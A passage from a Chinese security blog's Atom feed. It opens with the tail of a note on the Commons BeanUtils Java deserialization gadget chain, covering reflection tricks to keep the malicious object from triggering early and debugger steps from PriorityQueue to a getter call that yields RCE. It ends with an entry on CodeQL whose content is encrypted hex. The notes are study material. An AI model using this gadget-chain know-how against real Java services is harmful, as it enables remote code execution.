导致提前触发</p><p>所以为了避免提前触发就得<strong>后续反射修改</strong></p><p>这里基本和CC2一样的道理</p><p>有些时候 在构造恶意对象 可能那个方法就不小心提前触发了 </p><p><strong>所以最好所有的恶意对象都应该在最后的时候反射调用在填入</strong></p><hr><p>在这打断点 继续调试</p><p><img src="E:\blog_back\source_posts\CB链\image-20260527154533453.png" alt="image-20260527154533453"></p><p><img src="E:\blog_back\source_posts\CB链\image-20260527154703924.png" alt="image-20260527154703924"></p><p>这里的o1就是传入PriorityQueue里面的对象TemplatesImpl</p><p><img src="E:\blog_back\source_posts\CB链\image-20260527154814552.png" alt="image-20260527154814552"></p><p>这里好像是判断是否有嵌套 我们这里就是简单的一个对象 没有那么多事 默认都是过的</p><p><img src="E:\blog_back\source_posts\CB链\image-20260527154902457.png" alt="image-20260527154902457"></p><p>重点还是这这几个方法调用</p><p>获取指定属性的getter</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528170318715.png" alt="image-20260528170318715"></p><p>后续反射调用 触发rce</p><p><img src="E:\blog_back\source_posts\CB链\image-20260528170339006.png" alt="image-20260528170339006"></p><p>CB链的实质还是触发getter方法</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;CB链&quot;&gt;&lt;a href=&quot;#CB链&quot; class=&quot;headerlink&quot; title=&quot;CB链&quot;&gt;&lt;/a&gt;CB链&lt;/h1&gt;&lt;p&gt;CB 包：Apache Commons BeanUtils&lt;/p&gt;
&lt;p&gt;在 Java 中，符合特定规范的类被称为 JavaBean</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="反序列化" scheme="http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
    <category term="CC链" scheme="http://example.com/tags/CC%E9%93%BE/"/>
    
  </entry>
  
  <entry>
    <title>codeql学习</title>
    <link href="http://example.com/2026/05/19/codeql%E5%AD%A6%E4%B9%A0/"/>
    <id>http://example.com/2026/05/19/codeql%E5%AD%A6%E4%B9%A0/</id>
    <published>2026-05-19T10:44:13.000Z</published>
    <updated>2026-05-22T00:45:46.617Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="036dd2de7bfa6751c09c881050ed8f2c9605585a7e74322b87e1f6f8c7157ff0">4864fe2ba6a028a7db8196ad2a876eb387c3ac17056b5ea1757dad4c258fb8b8cf47fd7f4591da199b136390b9b42cab6054e352c61f19bfe61235513e236d27ab352e10e53de4c850d694353a5b47ae5d075058c0a5d82acbceb5ee191ccd74e8b6cb5a74ef47090c0980c486745412e0489303ed541ba2cd79664fe29b649b607d71832ae91d602921cb873af77c563669de8bb8ae6c05f3e6910f0e2c55a5d40e0512e5155c8c61e0d80eef937abd1514c7d476323a184c183aa2f3070df32bd294c32c4e376a40665f86e572ed34ad4e2c47f965606a5b28112137e62b88da5ffee35d2534de72e87325967fc54c892e810fc82353716762990d6ebd13b24556ec4ea220e87f39aa64aff4f7ffd3988f0e15758f4d1efa357331bc4e401eaf70a01be868c450e94e2b60065478744c7ab0e6f2357ce5cfc8f28a69a2fcc78664e54ae903a12c15461ee0b76983e189fcf41236a696cb9aee6f049a37920559c38beda40386508eb5e67d293ccfd2fadf8e0c568d475ee00e42ec62b1044b6e20edc26c4499ec0bcad8e6e24d1223ee2cd9c1b5ae1e71cfcf0716b7b86673b0db32d8b61273d134be4b1cba8cdfecd05b81770ce401ccfd5041e86c6f292508567d63abe0a7901f8fd14f6799657d45dcb2eb1186ced86f6c94f4388bc1d80370b655b995cde59a0a25824b7e7671e2a1022cce6b333f5b83cc354305fd7dee136eaa0106221d9717fa03455d00f8986c98d115bed4d19aa01b0d96c761aefc623f4673254fd2329e8ff91085696e40d470a2702750db304d863d633d62a2098f0299fb8ddcfba8a8ffaafc29fc2875cee8f9c5b8e69f4b010245f6cfa389fa5e5517c93740a54b3b4338f55ca24672027e66821b1f00d91dc3b1943266cdbe6505e9ebdf6de6a527c76d59581fe207d46b1e486cbe9012156fba3d3a3479ce9ee42d83eb8a668963d54748631234b2918084dac522098b24b5a446bfdc69e41f394c3c6a0a51a64eb74ba3ceaac27322e3d3f71f28cfc7942d3661f2839fa14a3e4302a0adac88efaac918be529cf37bbb767d25bffaed66040fdf47674b0756f59e928d016148c2416c8bdb3638be55e1cd871061ac54490c67f5a199340e0da0b779eb3152dd3c83224ae1c50af4fccb55f77e5f25081e9580da160a694c88231a0a2cc7a14ebaa9e771e57694fb33a0e77826135462d698c2246ea23325d69b33d0cd1c606a85f3400b3f94aacb1826b2aace7391ecb6a4b78054657bdfa3cdea3814399e50d23ba201249b00579ad1b5cb47ad287425efe001b7e37781b4622f3ddf549f11844c3445f48eb88e9627f7f765adae902cade9af0b3f04c1a9f4845b70a9f36043088170862e03c60c95347d53031eadf37e288bf250053d21f3009f0dec81587de6f57dd7a758750e71eb182e2b9ef0a6db4fd39c2319544c84e8d3f8090c9d8056e6647f0e46af77c05961c94fdd70cf81b9a2bc0dbc7bba1c4fa3a934867f642a42841e83e9cdd4c885a4aed17e6e43fce1a3812004b10297e393b58845b72fe29ffffce2e9a1e69cf297821367fa81a68507cb94413c862579a6671aa775d69a16d5bef88dcefc3a27fcd1ce4f3cdfc4e98219c97aaf142f969fd5ba8636beb2b761c659022b075fef058b02db5ed583ce62b0f483b8593d05a7969eb72d56048965f0f9e1c81487b3010543b4f2743b3ae95d7412d9e5ec5ee38575c3485e8c2c2a18dc0249ac43ed3148fd19c162cfc6e5f89eade7d02b9ce9f2b99373d3b2ae187dddfa59ab96805a852916dd34cafbd18a327020e7a75aa79ca9dac7746c060b094c44d4ecaa46abc95c4e26b3e4126176b93c726e8279f16df4ba1e4f64834f989fe8400d26ee3bd3752082a730cf49c2a2eb28bbfd26b2041ae36a11ffb42f219afaefd6dfce81a41f7f100e13d04212f43e6787ee17801feb36efc6a93a33ac2095a05054b801fcf30e9abfe509cf85004cf4cc208df5add8eafc52e73152dcde0135c7d37eb69ebff14ac4185216f591c314cf353d85b33e81e9d0c104b184fb8db4f82056a71da1db439ff96afdf72c17409e03d221a594b3224ce6cd53ca4d6a3e81b9491b24be8104442f6e5b30e245f19f55ba488446b4a9b6792a954e8b720c364f9814402b02475ca56b74e5f5a7e3681b66ffcdfd3505cf4eb5c15f688f41b2f365aa497cece4f7968d3088a9ec8ac3519b410dac325d4e3e9845459306de37a4423fb30ccfac61549c12f4400271328befe05163406ec6932e01c812f37c1f76490a4424ed936d3337822903f819f6f44151fc66c5b40624d262227596c3e297d2985b2ff9f7f292718da064a14820b3616109f4caf19703cf15c1a73d3abf1cb42860a5358d4d46cbe324a0e9f0c546fc2ace8e8d045df670f5fe6ce1218713f0544e267bed4c7e07e00659918e9b29ecff14173ace0a772540a0fbb248f1f85f5d1a688ac1ab8baf39e10dd4a54e3c8e57b1b28b7ac153734e973cf8c98e36fbc4d91d77737ad481aa4ecca8ae336cc82c9e243b116c3f80c8d20db45122f119cef1f604f7adb07bc4004704db4d4e09960f068ab12da75f23a59c39c2b13b8778cf6f157ad8beebdd70e58013e7a93da632ac4ec1a9404d1ac5885939179143462aee9d7a3bc7a8b09a1768691087f25fbeb726017c247bdb9516aea1b8163ed0139939f84b6b3a36553bf424d9b150f30678839ccc04b8958e327cb4cd63a7f6fc340eb59f12fa6de20bb7f874a0de3bdc0a83e920fb8f57a8842ebe8153650359c5309ac9d8c4576347dad959d7f0b74914a6e584869869d80eafbca633907eda1c4fa990cb893f6b86c01cdf27de3de4b69b2288aefe8759ce5e73f190104a3697772a555eeba8d9e95fdb10c93239bff72449cb90f698e3d15d0db17c4fb21cca714d38d14ac6861ed9b9cc9439b5efca99fd3a3b90b813156768bd4dbfe06ff9dd6725537a50e61f8effaab2f1adbbe5aefe0ff53f01980d971629a5064dec81fa7bb1834e0636611c862c765f59c6f37d48417f99381668c6aede3fd4b46f3374dac9676795f852e54abefd3d6c0fa4b871bc11deaf17fd918958d4222c2d6920c28b77b59edc59a9769833647b80960292a39addc3601f8ad8e9d2a03b70f910ad740070c3f415be4b420841bfb98d711ef8f18c3d1f7397ebbe2437c50d20bf2fc892f9941cfe803fb202260a4740d8e85666a412341b74f2db19e1dea3a57918e1ca433b9120242e53988cc198fbe55861735f6fd0245381048f314992eba1d36006a9c52a733289bc6b637b35ddca03f54eceee7af4486c699bfa61548947cdd3e06ce3c3c28ae1fb10875589a676fe51c21276c25bee75db2be3ab12be570cfbc028ac7c807bdd46cdfc1f4591f9f6b9253f677ccae9c34b6fa85963568dc4478a7d7a106498569cbc0834f6a5ef12c24282e2d5c4c6e0bbf08f0edf4039860913c310ac9f6dab04a1ea3840551ada82ddecfe6f883495f3a5645a9b959368220e48393ae32a107ad3519c3088727736180445ad1a0f1a14c06d804895eac18506a2095c4617b89e4444bc5acbe2bfab2bbfe509f7d9457ca436c2d491268b08b3e3011675532623a983f0dc7c5251d5e0567eab5c053a1936612a17b01e5b7e32ca649da53f1a74615c45bfa6b350ae244f8d30d1f6c111d3447926fbd40c108e895b53c02e3dbbe6ba6307bb3d0fa0fd6ac5602061ae1391ca67ea42ea33dd60c556cbe22d0e345037b327ee1ee9f7a83ad6b21b21645d758fe435ad62b0bd5aff9c369ff8bd60f4e465e63f219cf7391c3eac7d1dc063a30cd4d11d52ed60f3238f8f500c3762a67fbde3f294781b29b19eda4eb8331dd0a4605b93bd16581777a3089bb472d46f7c10db3a3a887a384553c2d741412c9e09abea2a231d17cfb6df38b69fbb54cdecc239619f72135d79debfd702cbc97cc009d3bb07793051d4b5eb44d2e2d53fbf635b41a2c960aac16f4876d71310523fb684256076fff86fbd251f2b55f210d3b3bf77139fd7d03f180d712cf514d781c00073b7da323cacd3d1bb20ca2d9b0779e75b7569b8b556bc3f601719daf1acdca8c842469f58134541a1c1f5e4857ec1ad8dcc8979b528335a431c1efaf5372e31eaeb21f5e77cbf68eef80dc785fe42578255c4b36d875e08f3445b727e9709cfdf8ebea6a410cb7d48761735c84b93c88c2054b8c7d5f72e700bdbf2ea0cb83789aabecf3d890dbb681c847299d2f856f23e794ef7a22d4fed9aefb3d0856fe9a47a9227128db915ea9453e56133a3c8f2d2830dedd9f819eab15a24f1cf9f1fbc1261c36dd94e197a9ebe750f6eba3c73d576e53fbabab17d92180ba154bb13b05d95c6c63261b9e242f74efa330c9ee7f87e97ab0ee9c65559024c876bdfbbf127ea37abba01c1231ebdf9e6f52dc63ecea03d2d89308636c2d7cc7c8f6d00438e387c97be85792504bfa8e51f3a18fbf085f7d5046bb6aec639c9ca0d8fef2caead4b53da134fda88872ee27ce7c5b9eb3953e5a41b3072cdb566f9a7918da725f57abcd4945a36931d3781027f9ed2927e5a584d0923cb9adf757e30ea6e7cd8698dd74aa1138cd8833873291eabc6cceed4872edda64bfc80032de1d8cf9c30764b2580144b4e4611abd2535936ecfce75cd48e57e6727d9274ac618a4705dc0d62f0ea978d6087951486211421b4ba033c3314619e205a5c6a2614adad2e828416e27d223a315c7744b87d851b7bed7bed4082f9580f93c5174fd2f765f32df9690907f708c3b28f5d2e0ff43ee7e285246fb2919c0d3b36e577549c8f693254e3cac2aa2af29cfaa6f5d2d17ad10ca9284a2a59a7d58481e4787c5fe17fdc132625b01185853d9ca54e824c83f30bc24be3edce45f08994aa88ade9027047e3c253a522f845d950696e232b7dbc0086c7ad81da9df50dde3ebc480496afc9a1e5e94bfceaa9b3a0e357a7f107881c6d20b45783277360baa4c5b54332d541f8effe5a1586b9f676187e2d46431f8d33d5f3bde91c2b5f76f7fda6eb72ae6ce56eaf1f5b0b23d6495f08d7c7856bef3aae8e2d6b6f2298ba9e931b74f499db9b94c4d8f8a00e96ee9198f4542f8b32b8c3f54729cab9f18dc51a7b623054a9b456a365d204333ad9cad8a524e355acc09023e020116143b158407ad02fe4018dc02b2e51478a139b20b97d86411c4341756a93bd62bcce14fdc0eb2c6e13250e3a480c4da77595735ef5de0084dd77cc7a2ebfd08f0e97000760f693c3016adecaaa47f98f7eed45e025be75be85253b15ba1d113c94711f43fbfe64777962e6a56ade33e0dcae1b0edd0e23e0638c76e7d902fb5123e399617a0924ad06fc5a95edbebdbac666f878ef5a55b41143c32376afc458e3f168cb53487b3ed5220633e226febc4b9bb433fb2d7254a0dbdd53520415f0dfbce366d79506a83fca175cfac7408623744dd8c4eec2976f6546ba891f5360c14ede80cab700c831ae4d902d4d9c0146dee54e29e3e22180a9883dda8ab01fbcf5e0dcfe333e67f3f079686613c8d7f5a190dc85c13bc02704f0625f43653974febd83ae4e61da730a3613abaa37b0ae049ba57358d94ddc6ee4b9b7c77460415ff2d39f7199714bb49aba653270b968e768a7002c9b7b98cb217ccf085af101985ec42aee2dc2fbde8628242e28456e2b31f02d24afbcc8c7e11ddcd234ef1405dddc9836410c79ff7258b4c7c441e92c730b8cf47136f10db8c5e93530ccf1ec24f619067224df1ca29b986266a16c2105a19dacde709f5be43e94f1e70017b31240c205837f5699728034b42bca5905189b7ab46d2f6cdb827ff6bdae76f493495653de10a816ce9227cbb466e5c5429bda3bb8fa34f94baaff4be6dab5ce495b95bffe27c1821309592a906b825bcb58eddcc3242f1152b4b82a5129b9fb4aeef1945fca120e5b24bc63d8806e797c3dd5e9fb75e5340682b6ab596c14f8ce85fd7af801712ed55e3f4da2a70cfa03065f7ca3b5aa075c52fca3aaeaad95355e91c64765d1d8a94fdf1fb07761693197177c99ad9827895e3a5cffaa238999854fde82a2ae0661ddcc1d226940a139376584e945c42da9cea5e56130a2d18c0e1a680f6bf46263e8554ac9f7d988f96c26cc47a397aac1fe1ed37e8f7f7e63492c89f18384b7f3ca11c480c2f68fb81bb4ad584fb2f1b9b2444a923676c1260fbc0d895d5e739f7d5c360111a03ada67a9d0e2e246387fcfc77061126ed6a764d3ea29ceaa12b147c4a0289851d76bd9e5184ef0e7721b8406d77190d445fad4e9e8befdc29c32ba07dd9da0a63fd6157eebc17fbb7812bd2009a4186bcee716b8d31dc9295d823bc1c77a35c09f2ca4b8222d2dc2f374e74c35a65b83b54f157ba4516dacc3e642780400577c97935d0a8d06d97894e5c93057b7c78c2a9addfc9395154861525b53602af68e76f4b93c98cdf879aefaf73c255c323b983b55632807363cc7280591128eba22d39729f1d1748bd7bdca0689323c941bc90be10bd487ed480163ad33eaf43485e8ec6594da2276dae258f982533960660aedfb11fa0cab38afc7c27e14c1655cb1387ecd00bf0c8fd290bf5347e67426f53c5728bdd74f84af93d143b88b4b359a4185074b91d9adf8ee6bb9b408409ffdc22de7ed34fe5219fea4d59068eaffb88308a5f53678546cae8cfd219a7eba0d4744df2e683ee68ad32ca871901d1d7f7009e87cfbdb9a6156713d41c456a071f663d442449544804bafa2549b043e49a165276fc7967de70c3787aca2be3ade7451013b4479a7d091f84d8353878901132680ed0981db366d4de78483fa12266e75b137c8a05a46981e50b6e8be2b1877827d82f26c2106cdfc837e3576da31f01f5472f3c86c8f710b71ad3deb86fb5520fd2925ff199a51ab8d9df8b4d69084d200afaef42cffee949a0dcb56914af42d64ced6657d2560eda98c052a2ef61869d07c25cddcfdb3097ed4e7731f9fbc48c75a540323aa57f9b6d275acc3cdb72a10533eaea9279ee39f20eade26c198fdadcaac2450c54bb9aff1d4a1e61227414b2b93e9d6ec3f90873c38f2b79fc1e4fee5e4b5050ad797c8bdf73b5b838d86de436fc4a00b580e318550e88cfd9c9a51568aaf66ebf2004c3722b4c64b0476a8666f625a06a72fd580d2743458bec3a05e89d913eff95fb92d064d05eddfda932992a6e17c5585e353bcceedd007b3b7301dc0dc04cddf1f06b9bc39be0a9587b9756dd9471ec87800f4155734e02176cd1211d06e3cff884d7c8f28d7e3f50557cb0474d4ca59f7685e9154ef7070c8b5548f052e86703bf3394ce5b55dc6c1622c09b9cfc5a9c128cfcb028726abc1b9fdd94176adbe0d0fe2264c50700046c3ebe883a3ed40f551468648484abf40de1b5b2f6c6aa35de978efe6d098bfe80d8bbdd24bbdd4589509e48a1f49ea69ea5237700a5a1c7c5d974bf85992c58af6157cf5ed36a6a3e5989250cff2fdd15c5e2583cc6b0f4fe7456867045cf1e06cf6dd4b4282c7f9c705c47cd01d617d7fda619bfe805dab5d83b1da0f6b07dd61fef63c2e1f58756c76b2942a0badb449f6de4aa01ff8a627dee70b96a1b9badd0e43981a1f87ff7ffe1f8dc50c0f5436178df6717b12e572b783792bbf584e2e2b5d70cc09e0e22e161ea88a67f03122541e3da9c2fe9d5d872f8a65a61f3aa3ff530c0b8ca60121630f805e8ace3d7f19e37732dc1b7abed607f10409236409a8d0eb700372596ec235f51f16c7214a6971925e607970e2279917d8032a0805d3f8623c6d5dead5291c28cc1c9bf6c90d4047a4792237e5f11fdf3a82d7bf487eaa5fdbe717fc56224399f2e6255aa80c5f9adc50924ba035bea6d1416dd7229a39bfac15dd5c67cb8d90a538a92b3cc39f30d479c938cb3cc4bcf094e30b56e49a5caeb9b714e03a56e0c489258891cf2ce3baed97f9cf14723adfee8a29815531cb713728da532ba5cf51f539ccc06f8bf152bf5f878a51920665b65ea664dd1a50a5ec992fbaff776107a2f64452b04eade4c176ee85eafc7d7913f255d5ee931f9af7da7dd038a19924a45547fafcefca1bf87daf408eb3690e3f37bbd5e6b6594b805404dfcdf16a9701b366c423bbb66148a017dc65622a95a345c92dcce1c5222ab697663de99dc073cd69a088a82f5ea18dbf212b4df640aa12d03cc2cb1de4dfa35bbcff79b4e8fbaa92399fb116fbfa016eb9693cc472837631a11f8c328d6d9ece79fbdc890a602dd98ebc4e2a09b9855336dc6cf64d9857a561013f45950d4911c1baa0b3fb4894f32e45c4c63574df156b68cb307b37b3bc0e3251405bb289e15af4987fe1c4e3f88736ffc47beb221fd0f0714fcb879c709fe710dbbac3967fd16ad883abc8149e653aa81d1674ec9f2d51baaccbd560249f85ac5a5fbe6cd823d3b2fcd2c93fb56990ef63d1c7f18582766d494ca78f8f1060b5b86f886a1dc7c6e5776ed187aabc92798b4ac243b26b19ccaa41238c163395840f6f32f612ff0f4bcd67318e316ec11c0d5ce10e60be92d498ba6c4e5a8d1bd465856c59208aa6f3500e2bceae0585f820de52afe38107f68e4abe9c380f327322ce20aeaf3a929a26792a041317dd268db19ea007ce46e4e484e778602ee49e152c7f69baa186b4fc076a791ab6e1216d6562aa009fe0bfd5d85d457c551fe94366be5c92466be1ed260c5f0dbac2cc7692d05fb0e79d45ab678f2c416eb5a3539d5de1544bfe45e4aba372cbb945647c3fc51e4832ec0d819fe3591bfc4c08edc877b1be0dd5997a12072f07497172ae722fc69ba16f81c74cb00dfa0b90719f8ac40dac666ea86f2db4955dfdaf17ef8ba65ab6c06a68b14cde18ad74073653835fabd3092a7647d2ad41e5e72ce33dd60119796913df3c2e8e9ebfc09052bf0102127ddc2ea98b86fc0e5d0a9ae13d26f879396c52cb2b8c4668369829b0d5e78ccd0c38eacf39e6db9fb3a091ea94915b2cafd8164c904ae21959672adff4d853ec4a1ebf38813c3d8c0fd8ae3c2b99c882ab6c7e575344de888b235e749d5155ff68b7de5babb5f25d52001fda2632b740bff0d761cc9ac7e742bf3b08cc1be66f98dc0f7c166de47cb116a404f1b219d6122b466522f571959ae4d0676f9002a102b0765e2a86d0f667b78227783b04294a2b34d800ab245ff985550dfe59f8c706acb6ee04e67284045a64e4fb73eec7120b74748a94f37a2dcc233d20beb461f0919a60c9dae2657aeaf37ac6bc1a36c77ca100396341d6fef304b1740f1344136f95f9ae3473de4db414749dee8e451770b301ba17524e6059587db8f162df6e3c748b1afec22439a8f916e4a67062fc9ba784dfbb0e8a2038a031a9f07d9c9d8ad47e9b73764dc2e240a284af5e65295de99cc67268ccd334aa0a26dd25f5efa5c76d0b0e9751d03c7e9ff5174799395e7b9930a128b39b30da42a012de079c6ce3af25f8c16657258100fd28d3fa1706cefa427f603c60322c5ec2cef9ca17ac1e18ffd8b46d270f0cd54ee12cf1351aebcf34cf3ebbc9a615a8b94380e44ddb0f02ee48aa51c7235ad5a6397927e4524d5110c4f914e6364db8b0188f10d2b9d21dedc52747e1fa298b16536a81941786935687dad5c7039785ba36146a9766efd34054e721f655cc546da96f5bbd49f7f9db4a87f94e204cb0dbda59f66f855d412426e61059b431259a27797d8503ebeee57e51a1acef356011a069d0062885d24014dcaac90c247ffe832b93ba9da18ead7971f6ce06292e8d2170e8cf0b99b7690e3ab8dd8d428d4dfb97af1f0d8c4e958238bf684a28dfdea4b6050427268e144bd9399d6a2748ca2a30857891e862b64337cb656a912f96bc9588b2dcc2e3f280e09ea954a1d009ec16a2f36dedb88fe720903c5f9c9935e7ba080bbb7193abda93f0c9655d10d43d8266ecab08f114331f882505b95315ca6222a0e8ce37ff4e796ee2c0e156b9d91df8ebae52f3e28cffc7fbffbfb1fcf40d762a4cc7a3faddb4bf8f4b52bd055b0a4c37eabe4a9ac1467b92b0072a60e298f6f673328d28aa7ad2a672c3f9ffe5140aa35770d0e7b6fc046b6b788b2cfd9a1d71c9791fed93d2d2b16ffbe6f71493fa0e78db3fac5f3c488a26cbc76670bf88eb1c787f8cbf12d4ba0cdb9bdb7c9b3ee767e17d0b8586b769fe574930efcd63cf5949abd2b691cb58cec0aeb63f72159b7f9b15fdb70093f89b98440f0764e8ea260cd0cad731a595f2cd03eb060ee8e71619d57b6c420483cd5f54845286d1b4ba98911a57591fd5c04167aec373ad1dae574b2d3040c73f4b40a9fb3a0280e89aa62eeafa5251dc67d1b483c744b485cbdcab9056893b794d749665b13be5c8bedab5768364a72b1770e0a306a94ca002a87b545012972e3cd5cde40bbd474a510d9b1cdfe4e420d3446b777dcb4bf3fa40ee304f506cdce46c7e102bd4bfeea242861a39cce47c6765891ff04dfc9f709fe720a9f91571f0d9c78a83a38e21a2be226aa9a9bacfd7121adc372eaabd268f6d164c78c7c058286d6796650b0fcf417afbba0b05cfc2e157796d5058b2f61252830b49a70bd4631fd539f30a7d34dd8788bdc566db18000ef32abdba895fb08198d3e80c4d716fc40cecd6e621cc72195bf2fc5adeda6c2fd8c377b1e1df14dd4188c66bcd5fafbf68dec8a7248f4ba69348f734f3d6cb528e671da4c834d60b21f7b3106370ef49d8153ced13d325ef68e7a7b6f393f5346ed60ec2caab352d467336582413037d49fad443b98a19c579b0b47d28e414e1aeff645e1d05263b0c8f006b764ebc8aab903b61319be1e1f0ccda424a4ec251984b2c0cff0bce2a5163677a5e4781adcf5fc48800ac8d5e8e78813e90cffea75a348f9b89b0979540423d7d3c90f31c9997bd05409b71b02f666b44f4f5748507db0f1a19b1a39ec8579764abb7a87e8e20912a52b3ffccff6f7797f4def3c0ad516892d93608c6620d2cdfdb198fd707ea381dbfc489abbd45a5c751215c2e40526c2ffc2c6ca34c6e6570e654fd80ad6bdf9b3e2864e89781113b23beb466439d04482a848056d5aeda2da5e9e7bf400919bbb5b1a910533f59aef9435d8cbdda70f0857d6ebae6abcde48ee76c0545b4cc241a9cc68d9805781b52570ff4d6481bd1efb20d97f4f7dd71bda639a599ca47c726b115b2c103b51baa357930bc381d48ba19d8d3e4cffc4a84a54cad48b7477d58f881f198036bf517383c2e78bcee592e9c7d25c4c3f64687f4ac9b52e44f28d23eece249a32541041b573c37433b99e16362c15d545bfb2bc0f457da96f9ddb4f316340e696bf1af10ec420a4234284f2ebc31437a42aeb76229460aa9c02cb315175c0161eabc000974b790fe7fa3136ee8648ee7a75dea335671e66283bd784f0e3a684e27a1ea37a3dd850914a2b632af80f3b43910d2f922d36a9fc77c143fb6ce59ea6495877199bba4a58646a907e5988931104c8a6e383349b2e45c53b16aa469b190e37deed2af6a1f55e476df00190667555db358f0b21695b3812e900f69db6fc1fd207dbcf0cf49d1be6549877765e2d284d1553db10b50a583a700d430962979fb374bf6040d4ae02ecf54798c5b19fb86cf553233c69c5a543184f6f20c7bd5b6a12dc91ab46611e7733211abf80cc6f2c8e20b42ce57951d59563b27014fc8593f85ea1428f947e704cf491ddebcbd05ca49584c4fac75f4fc96d20562e6c5ec4dfcba1343353cabc6c4e97fd3ab9911b1c57d4e934d7b3b54d2a50273d3ad969f4205330d054c957d5b2f54943040b356ea27c7eb8144e97d27ea6bcf35a69e024f6328361656442fcc70fa69461915a6fcb51cb7ff902a81fe1fadfac60fe0e8192ed1069986897329ec57852009c0c32a68cd14d2cbb9631529c28f2d8b53d4f6fcada8567076831d738d50981523ad39dbfdb261d11cb7acf0f1f71fd664b52d9eaa26b71fce9a653d67c5d013fbe51e5a297b0830e6cf7c77ce83c1d0f0e00ecb71453ed3267446c176acb67f2d663ac60c531f9d26489decb348450ed3b12cb32f5b3d889dc81cfb884792a7c81824d90b562c267b0ba7a8b20c2a93f1546a730b47888f90d31593015e329ecef3267020ebbbf4117b232d2767f65b4beab2a7e8046d4906c0d62745663f32048e0bd948dba8143519ab4b7cf4e4e93bee665da068c3ff86ad9dff91586150c2a035a4b9acd3e396b3a9cebfad4da17b13a6a00aee6ab6be3ac15709ef8436536abd7c68a36e6379b65c048793d94f2da6d3470dc0a6abccdacfa1d655fb2e941ba81c956fcfbb269c8036344bbc38babb14abc05ce087dfb31820cd9f8a4584e84973df309ffb38837d7dd49f4fe0200ac5f23b4573599bad8ec552a725007ee96337a36a7a85b0aa04ad43ba9bf9e4646147406a937f8bff92619407d4f2c9486d1775226d84ac05e5b1b37b51d86385ad08390c90f2e78547255300acd49d734b273ceeaea68a3631978427866e63304e72fe420310901a9e43a2fdeba17071066b0a5bb7b1426756ee13b5cb7ec9b6ff514b5afd66c7abf94abb9dcc22b025b8b68d6a5c9e94bba02e3a44a6260986494963fa2548ff54a32bce40fcc93a0f2f57c3fa06e8aa28fdf13ec1740f7dbd33e8b6a76a7fd65b1de5137261f9934d1e0a63bf09ed928c3ba341d383d42ec4dcea91463b430e4b459c6e78241762097791096e63f555e97920007003ff60f1580e90bf3fb954494ad4503a03222ced95113be112791a300ebc43b2d12d55cfd631851cb4c736d2d6cf3a6076729fb1e80e4c980524f532813557a6aba40d27696a5e600c158946e91db86e2323bbaafbb7fa09f59d98c5afa967ec8612a197b7e939eb56f68b6600ee2022bb4eb2835a6d00ad450be1285bc68624871a8b47952a9fc1081b9bb5aaa903b75eb94a63044bd5431f0e77658b744379fbab6f550c4bf40d9a37638ac870f6c65a464f281318457e5385fa3e7e62ea2f7931abd50da4b9063912f52b02fa5fef0af1a73d3b6be592fd536c78047cf9d05c60c4685b5979b0378a411b5865ec9a17075cb3a5cc557d83fffbe465d82102e1f0c0d02a5584e4b91267444be3f999f7e686091b30be9371b60b788ee9093ad4b365f427700a4b0fb82da7f85caf0a9931e105557220a14c7ba81e8a2f34ef6d02c5aae63fa829ee1a86cb5f531764672a7e6376200f19af1c28504b10e3fc2911fde0e9ae85d0a96db57468b52dec64ac8464d5ed7b87c13ab64ab1f225cf8c6ada89477e71e8828a96a85da56144921dba1583ea1d72520bfd19dd69c261c8c0cdc4314e5079b3efa262ac0e7a2dfba35134af1f5ac216feaf909490e1da02375be633943395d51aaa27e972a89e2e38d384184706f585e2d5274ecd9a8643f6ed01434dea9ac066ad67a98d1d8f4d513a2dd1d19f02245c2f25651f83c3fb1b97d43eae8234b4bedeab7f3842a6985cff568215a5633878c543376d6b2dab2b1f04a6bcd9e355e37b6c6be5883ca0b691049055fadccc75849ca19e0f868a51cda003452a0faafccd95e5d5fec4a7e88b0744bd7ff4d4381f49761e2d2b503cef7a64959e6b8d6191cf6a6b1a4ff38d001ef64a5a4e06112f76dce63986b4b888c0c608bf122c0f52db5905d573937fe0d36665b6e4b885573f60645a4c2e02de07e81eda99f5a351d5f2b5b82687d1bb15acc1c99ee098333a70f561b509047167f3885fdf4dad4ce19abd5f6212713a9d1ed9ea834353ef5faec36bd1d2430d14d3dda55cdbf3eefb1f8ed1189e925b60554abba3203589ce8dc1923969938e982006d3640ca0e3cfa8593345ac35908f7b5c6454f43ffa55c9a2b5db087178cdf76cf39a8fae3be72126805cc8165205bb5c78546a7333b14f12be75919233fe8b5c9977f158a0d3a1e40bba055d7ab09f2dbcc668717d645a9646a53b7d4e807b8f2a73e353e4c8f271ad06bad408c51a153c9a1724794647416c588c7591ee947af220440a27b5b6d8614e67d8caa0b34b5feb2f7dd991f5c5cba97be39a3d14f90ba466b4a003de21046b034dd0cd22c65b323337780263a430be18183e057ee21033f2ed084a6291f5f598fbc07d9e7cbfc28540ca3c6689eee63e58435f5f59d83269128b3230961313189b0968504a3f57475c83e6917709ad733258aa5207aa73fb8c74f80963ab063e9fde2e4f2f54587c0366d988850004c5071cbee2290f7ddb30605babea2c5216686dea419f145b5a4a84687e930f6ef1e609d00a6002250c668967356d699c6d2f175a46f871ee08e23201bb7ca2338a8ad08884eaf6c849cf83741efbf45f85207dd3dc4cbe30cf6adf16f4bcf973f28db1a2dda96866673e298e55500c59e388a65bd85d38cd4be930453ae985f2f0220ceb3c13d43d944bbc6b85b8fb76e79d4a943ddcbaca229f56096a4a8fb41c532f199ec521caf0ed9998cf8794f2dd905360d4b089169a43f5aa0466c7d4a9317b744a06cdd8eb69c19e409246a16220b91f9a74e8ba7c68c3e49375a6148d6a68988db4416187c388a18624904e2679723b988ba544f49c534b54de6c4462cd8540368b253b7f51419f4994f80df18b2d9d3a680e0bcd6d131f592a678cdac56f8553f41d408efb89c681803dde9c78050aafb776749e5218c526f68ad4b919eff77607b6035a7f08ddcaf25cb24cb30626566b02cb9d0d0bd60e7a0a77dd939ed07d325dc28144a4817449a0a1d8ce3bbe622d074ef6a03bf86f495cce2515705f2301a721fd936ab2690648ed4165e1db228f6a525865dfdf